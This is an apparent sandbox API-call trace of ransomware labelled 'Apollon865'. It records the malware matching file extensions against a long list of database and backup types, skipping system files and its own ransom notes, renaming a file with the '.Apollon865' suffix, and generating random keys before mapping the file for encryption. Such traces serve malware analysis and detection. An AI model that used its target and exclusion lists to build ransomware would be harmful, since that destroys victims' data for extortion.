	[0083.263] lstrlenW (lpString="fcd") returned 3
	[0083.263] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0083.263] lstrlenW (lpString="fdb") returned 3
	[0083.263] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0083.263] lstrlenW (lpString="fic") returned 3
	[0083.263] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0083.263] lstrlenW (lpString="flexolibrary") returned 12
	[0083.263] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0083.263] lstrlenW (lpString="fm5") returned 3
	[0083.263] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0083.263] lstrlenW (lpString="fmp") returned 3
	[0083.263] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0083.263] lstrlenW (lpString="fmp12") returned 5
	[0083.263] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0083.263] lstrlenW (lpString="fmpsl") returned 5
	[0083.263] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0083.263] lstrlenW (lpString="fol") returned 3
	[0083.263] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0083.263] lstrlenW (lpString="fp3") returned 3
	[0083.263] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0083.263] lstrlenW (lpString="fp4") returned 3
	[0083.263] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0083.263] lstrlenW (lpString="fp5") returned 3
	[0083.263] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0083.263] lstrlenW (lpString="fp7") returned 3
	[0083.263] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0083.263] lstrlenW (lpString="fpt") returned 3
	[0083.263] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0083.263] lstrlenW (lpString="frm") returned 3
	[0083.263] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0083.263] lstrlenW (lpString="gdb") returned 3
	[0083.263] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0083.263] lstrlenW (lpString="gdb") returned 3
	[0083.263] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0083.263] lstrlenW (lpString="grdb") returned 4
	[0083.264] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0083.264] lstrlenW (lpString="gwi") returned 3
	[0083.264] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0083.264] lstrlenW (lpString="hdb") returned 3
	[0083.264] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0083.264] lstrlenW (lpString="his") returned 3
	[0083.264] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0083.264] lstrlenW (lpString="ib") returned 2
	[0083.264] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0083.264] lstrlenW (lpString="idb") returned 3
	[0083.264] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0083.264] lstrlenW (lpString="ihx") returned 3
	[0083.264] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0083.264] lstrlenW (lpString="itdb") returned 4
	[0083.264] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0083.264] lstrlenW (lpString="itw") returned 3
	[0083.264] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0083.264] lstrlenW (lpString="jet") returned 3
	[0083.264] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0083.264] lstrlenW (lpString="jtx") returned 3
	[0083.264] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0083.264] lstrlenW (lpString="kdb") returned 3
	[0083.264] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0083.264] lstrlenW (lpString="kexi") returned 4
	[0083.264] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0083.264] lstrlenW (lpString="kexic") returned 5
	[0083.264] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0083.264] lstrlenW (lpString="kexis") returned 5
	[0083.264] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0083.264] lstrlenW (lpString="lgc") returned 3
	[0083.264] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0083.264] lstrlenW (lpString="lwx") returned 3
	[0083.264] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0083.264] lstrlenW (lpString="maf") returned 3
	[0083.264] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0083.264] lstrlenW (lpString="maq") returned 3
	[0083.264] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0083.264] lstrlenW (lpString="mar") returned 3
	[0083.264] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0083.265] lstrlenW (lpString="marshal") returned 7
	[0083.265] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0083.265] lstrlenW (lpString="mas") returned 3
	[0083.265] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0083.265] lstrlenW (lpString="mav") returned 3
	[0083.265] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0083.265] lstrlenW (lpString="maw") returned 3
	[0083.265] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0083.265] lstrlenW (lpString="mdbhtml") returned 7
	[0083.265] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0083.265] lstrlenW (lpString="mdn") returned 3
	[0083.265] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0083.265] lstrlenW (lpString="mdt") returned 3
	[0083.265] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0083.265] lstrlenW (lpString="mfd") returned 3
	[0083.265] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0083.265] lstrlenW (lpString="mpd") returned 3
	[0083.265] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0083.265] lstrlenW (lpString="mrg") returned 3
	[0083.265] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0083.265] lstrlenW (lpString="mud") returned 3
	[0083.265] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0083.265] lstrlenW (lpString="mwb") returned 3
	[0083.265] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0083.265] lstrlenW (lpString="myd") returned 3
	[0083.265] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0083.265] lstrlenW (lpString="ndf") returned 3
	[0083.265] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0083.265] lstrlenW (lpString="nnt") returned 3
	[0083.265] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0083.265] lstrlenW (lpString="nrmlib") returned 6
	[0083.265] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0083.265] lstrlenW (lpString="ns2") returned 3
	[0083.265] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0083.265] lstrlenW (lpString="ns3") returned 3
	[0083.265] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0083.265] lstrlenW (lpString="ns4") returned 3
	[0083.266] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0083.266] lstrlenW (lpString="nsf") returned 3
	[0083.266] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0083.266] lstrlenW (lpString="nv") returned 2
	[0083.266] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0083.266] lstrlenW (lpString="nv2") returned 3
	[0083.266] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0083.266] lstrlenW (lpString="nwdb") returned 4
	[0083.266] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0083.266] lstrlenW (lpString="nyf") returned 3
	[0083.266] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0083.266] lstrlenW (lpString="odb") returned 3
	[0083.266] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0083.266] lstrlenW (lpString="odb") returned 3
	[0083.266] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0083.266] lstrlenW (lpString="oqy") returned 3
	[0083.266] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0083.266] lstrlenW (lpString="ora") returned 3
	[0083.266] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0083.266] lstrlenW (lpString="orx") returned 3
	[0083.266] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0083.266] lstrlenW (lpString="owc") returned 3
	[0083.266] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0083.266] lstrlenW (lpString="p96") returned 3
	[0083.266] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0083.266] lstrlenW (lpString="p97") returned 3
	[0083.266] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0083.266] lstrlenW (lpString="pan") returned 3
	[0083.266] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0083.266] lstrlenW (lpString="pdb") returned 3
	[0083.266] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0083.266] lstrlenW (lpString="pdm") returned 3
	[0083.266] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0083.266] lstrlenW (lpString="pnz") returned 3
	[0083.266] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0083.266] lstrlenW (lpString="qry") returned 3
	[0083.266] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0083.266] lstrlenW (lpString="qvd") returned 3
	[0083.267] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0083.267] lstrlenW (lpString="rbf") returned 3
	[0083.267] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0083.267] lstrlenW (lpString="rctd") returned 4
	[0083.267] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0083.267] lstrlenW (lpString="rod") returned 3
	[0083.267] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0083.267] lstrlenW (lpString="rodx") returned 4
	[0083.267] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0083.267] lstrlenW (lpString="rpd") returned 3
	[0083.267] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0083.267] lstrlenW (lpString="rsd") returned 3
	[0083.267] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0083.267] lstrlenW (lpString="sas7bdat") returned 8
	[0083.267] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0083.267] lstrlenW (lpString="sbf") returned 3
	[0083.267] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0083.267] lstrlenW (lpString="scx") returned 3
	[0083.267] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0083.267] lstrlenW (lpString="sdb") returned 3
	[0083.267] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0083.267] lstrlenW (lpString="sdc") returned 3
	[0083.267] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0083.267] lstrlenW (lpString="sdf") returned 3
	[0083.267] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0083.267] lstrlenW (lpString="sis") returned 3
	[0083.267] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0083.267] lstrlenW (lpString="spq") returned 3
	[0083.267] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0083.267] lstrlenW (lpString="te") returned 2
	[0083.267] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0083.267] lstrlenW (lpString="teacher") returned 7
	[0083.267] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0083.267] lstrlenW (lpString="tmd") returned 3
	[0083.267] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0083.267] lstrlenW (lpString="tps") returned 3
	[0083.267] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0083.267] lstrlenW (lpString="trc") returned 3
	[0083.267] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0083.268] lstrlenW (lpString="trc") returned 3
	[0083.268] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0083.268] lstrlenW (lpString="trm") returned 3
	[0083.268] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0083.268] lstrlenW (lpString="udb") returned 3
	[0083.268] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0083.268] lstrlenW (lpString="udl") returned 3
	[0083.268] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0083.268] lstrlenW (lpString="usr") returned 3
	[0083.268] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0083.268] lstrlenW (lpString="v12") returned 3
	[0083.268] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0083.268] lstrlenW (lpString="vis") returned 3
	[0083.268] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0083.268] lstrlenW (lpString="vpd") returned 3
	[0083.268] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0083.268] lstrlenW (lpString="vvv") returned 3
	[0083.268] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0083.268] lstrlenW (lpString="wdb") returned 3
	[0083.268] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0083.268] lstrlenW (lpString="wmdb") returned 4
	[0083.268] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0083.268] lstrlenW (lpString="wrk") returned 3
	[0083.268] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0083.268] lstrlenW (lpString="xdb") returned 3
	[0083.268] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0083.268] lstrlenW (lpString="xld") returned 3
	[0083.268] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0083.268] lstrlenW (lpString="xmlff") returned 5
	[0083.268] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0083.268] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll.Apollon865") returned 83
	[0083.268] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outllibr.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outllibr.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0083.270] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outllibr.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0083.270] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=226656) returned 1
	[0083.270] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0083.270] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0083.270] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0083.270] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0083.271] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0083.271] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0083.271] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x37860, lpName=0x0) returned 0x15c
	[0083.275] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x37860) returned 0x120000
	[0083.308] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0083.309] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0083.309] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0083.309] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0083.309] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0083.309] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0083.309] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0083.309] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0083.309] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0083.310] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0083.310] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0083.310] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0083.310] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0083.310] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0083.312] CloseHandle (hObject=0x15c) returned 1
	[0083.312] CloseHandle (hObject=0x9c) returned 1
	[0083.312] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0083.312] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0083.312] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0083.313] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ab87a00, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1ab87a00, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0xa6560, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLLIBR.REST.trx_dll", cAlternateFileName="OUTLLI~2.TRX")) returned 1
	[0083.313] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0083.313] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0083.313] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2=".") returned 1
	[0083.313] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="..") returned 1
	[0083.313] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="windows") returned -1
	[0083.314] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="bootmgr") returned 1
	[0083.314] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="temp") returned -1
	[0083.314] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="pagefile.sys") returned -1
	[0083.314] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="boot") returned 1
	[0083.314] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="ids.txt") returned 1
	[0083.314] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="ntuser.dat") returned 1
	[0083.314] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="perflogs") returned -1
	[0083.314] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="MSBuild") returned 1
	[0083.314] lstrlenW (lpString="OUTLLIBR.REST.trx_dll") returned 21
	[0083.314] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll") returned 72
	[0083.314] lstrcpyW (in: lpString1=0x119e670, lpString2="OUTLLIBR.REST.trx_dll" | out: lpString1="OUTLLIBR.REST.trx_dll") returned="OUTLLIBR.REST.trx_dll"
	[0083.314] lstrlenW (lpString="OUTLLIBR.REST.trx_dll") returned 21
	[0083.314] lstrlenW (lpString="Apollon865") returned 10
	[0083.314] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0083.314] lstrlenW (lpString=".dll") returned 4
	[0083.314] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2=".dll") returned 1
	[0083.314] lstrlenW (lpString=".lnk") returned 4
	[0083.314] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2=".lnk") returned 1
	[0083.314] lstrlenW (lpString=".ini") returned 4
	[0083.314] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2=".ini") returned 1
	[0083.314] lstrlenW (lpString=".sys") returned 4
	[0083.314] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2=".sys") returned 1
	[0083.314] lstrlenW (lpString="OUTLLIBR.REST.trx_dll") returned 21
	[0083.314] lstrlenW (lpString="bak") returned 3
	[0083.314] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0083.314] lstrlenW (lpString="ba_") returned 3
	[0083.314] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0083.314] lstrlenW (lpString="dbb") returned 3
	[0083.314] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0083.314] lstrlenW (lpString="vmdk") returned 4
	[0083.314] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0083.314] lstrlenW (lpString="rar") returned 3
	[0083.314] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0083.314] lstrlenW (lpString="zip") returned 3
	[0083.314] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0083.314] lstrlenW (lpString="tgz") returned 3
	[0083.314] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0083.315] lstrlenW (lpString="vbox") returned 4
	[0083.315] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0083.315] lstrlenW (lpString="vdi") returned 3
	[0083.315] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0083.315] lstrlenW (lpString="vhd") returned 3
	[0083.315] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0083.315] lstrlenW (lpString="vhdx") returned 4
	[0083.315] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0083.315] lstrlenW (lpString="avhd") returned 4
	[0083.315] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0083.315] lstrlenW (lpString="db") returned 2
	[0083.315] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0083.315] lstrlenW (lpString="db2") returned 3
	[0083.315] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0083.315] lstrlenW (lpString="db3") returned 3
	[0083.315] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0083.315] lstrlenW (lpString="dbf") returned 3
	[0083.315] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0083.315] lstrlenW (lpString="mdf") returned 3
	[0083.315] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0083.315] lstrlenW (lpString="mdb") returned 3
	[0083.315] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0083.315] lstrlenW (lpString="sql") returned 3
	[0083.315] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0083.315] lstrlenW (lpString="sqlite") returned 6
	[0083.315] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0083.315] lstrlenW (lpString="sqlite3") returned 7
	[0083.315] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0083.315] lstrlenW (lpString="sqlitedb") returned 8
	[0083.315] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0083.315] lstrlenW (lpString="xml") returned 3
	[0083.315] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0083.315] lstrlenW (lpString="$er") returned 3
	[0083.315] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0083.315] lstrlenW (lpString="4dd") returned 3
	[0083.315] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0083.315] lstrlenW (lpString="4dl") returned 3
	[0083.315] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0083.315] lstrlenW (lpString="^^^") returned 3
	[0083.316] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0083.316] lstrlenW (lpString="abs") returned 3
	[0083.316] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0083.316] lstrlenW (lpString="abx") returned 3
	[0083.316] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0083.316] lstrlenW (lpString="accdb") returned 5
	[0083.316] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0083.316] lstrlenW (lpString="accdc") returned 5
	[0083.316] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0083.316] lstrlenW (lpString="accde") returned 5
	[0083.316] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0083.316] lstrlenW (lpString="accdr") returned 5
	[0083.316] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0083.316] lstrlenW (lpString="accdt") returned 5
	[0083.316] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0083.316] lstrlenW (lpString="accdw") returned 5
	[0083.316] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0083.316] lstrlenW (lpString="accft") returned 5
	[0083.316] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0083.316] lstrlenW (lpString="adb") returned 3
	[0083.316] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0083.316] lstrlenW (lpString="adb") returned 3
	[0083.316] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0083.316] lstrlenW (lpString="ade") returned 3
	[0083.316] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0083.316] lstrlenW (lpString="adf") returned 3
	[0083.316] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0083.316] lstrlenW (lpString="adn") returned 3
	[0083.316] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0083.316] lstrlenW (lpString="adp") returned 3
	[0083.316] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0083.316] lstrlenW (lpString="alf") returned 3
	[0083.316] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0083.316] lstrlenW (lpString="ask") returned 3
	[0083.316] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0083.316] lstrlenW (lpString="btr") returned 3
	[0083.316] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0083.316] lstrlenW (lpString="cat") returned 3
	[0083.316] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0083.317] lstrlenW (lpString="cdb") returned 3
	[0083.317] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0083.317] lstrlenW (lpString="ckp") returned 3
	[0083.317] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0083.317] lstrlenW (lpString="cma") returned 3
	[0083.317] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0083.317] lstrlenW (lpString="cpd") returned 3
	[0083.317] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0083.317] lstrlenW (lpString="dacpac") returned 6
	[0083.317] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0083.317] lstrlenW (lpString="dad") returned 3
	[0083.317] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0083.317] lstrlenW (lpString="dadiagrams") returned 10
	[0083.317] lstrcmpiW (lpString1="ST.trx_dll", lpString2="dadiagrams") returned 1
	[0083.317] lstrlenW (lpString="daschema") returned 8
	[0083.317] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0083.317] lstrlenW (lpString="db-journal") returned 10
	[0083.317] lstrcmpiW (lpString1="ST.trx_dll", lpString2="db-journal") returned 1
	[0083.317] lstrlenW (lpString="db-shm") returned 6
	[0083.317] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0083.317] lstrlenW (lpString="db-wal") returned 6
	[0083.317] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0083.317] lstrlenW (lpString="dbc") returned 3
